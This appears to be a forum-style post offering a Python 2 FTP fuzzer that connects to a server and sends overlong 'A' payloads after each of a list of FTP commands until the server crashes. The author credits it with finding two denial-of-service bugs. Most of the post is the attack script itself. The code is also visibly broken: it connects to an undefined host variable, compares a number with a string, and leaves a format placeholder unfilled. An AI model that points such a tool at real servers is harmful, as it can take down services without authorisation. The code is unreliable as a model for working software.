FTP Fuzzing - update

This is a simple FTP Server Fuzzer code in python
this script help you for hunting bug. example i find two vulnerability ftp:
XM Easy Personal FTP Server 5.8 Remote Denial Of Service XM-ftp-dos.txt
FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit ftpxq-dos.txt



[+] you must usage python 2.x
[+] fix cmdtest loop

#!/usr/bin/python
import socket, sys, time
banner = """
##############################################
##        Iranian Pentesters Home           ##
##           Www.Pentesters.Ir              ##
##         PLATEN -[ H.jafari ]-            ##
## Sample Ftp Fuzzer version 0.1            ##
## Code by: PLATEN                          ##
## E-mail && blog:                          ##
## h-jafari.blogspot.com                    ##
## pl4ten[at]gmail[dot]com                  ##
## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder  ##
## and all members in Pentesters.ir         ##
##############################################
"""
print banner
ip = raw_input("IP: ")
username = raw_input("Username: ")
passwd = raw_input("Password: ")
byetesize = raw_input("Max byte size: ")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cmdtest=["USER","PASS","LIST","MKD","ABOR","CWD","ACCT","NSLT","DELE","APPE","PORT","PASV","NOOP",
"AUTH","HOST","LANG","FEAT","RMD","SIZE","XRMD",",XPWD","XCRC","XCUP","TYPE","RNFR","QUIT"]
try:
  # if don't usage default port(21), change this.
  sock.connect((hostname, 21))
  r=sock.recv(1024)
  print "[+] " + r
except:
   print ("\n[-] Connection error!\n")
   sys.exit(1)
try:
  sock.send("user %s\r\n" %username)
except:
  print ("[-] Username  error!\n")
  sys.exit(1)
try:
  sock.send("pass %s\r\n" %passwd)
except:
  print ("[-] PassWord error!\n")
  sys.exit(1)

print "[+] Start Fuzzing...\n"
d = 1
for i in cmdtest :

  while d <= byetesize :
      payload= "\x41" * d
      print "[+] Send evil string" ,d,"\n"
      data = i +" %s\r\n"+payload
      sock.send( data )
      try:
          sock.connect((hostname, 21))
          d = d * 2
          time.sleep(0.5)
      except:
          sock.close()
          print "[+] Down!"
          sys.exit(0)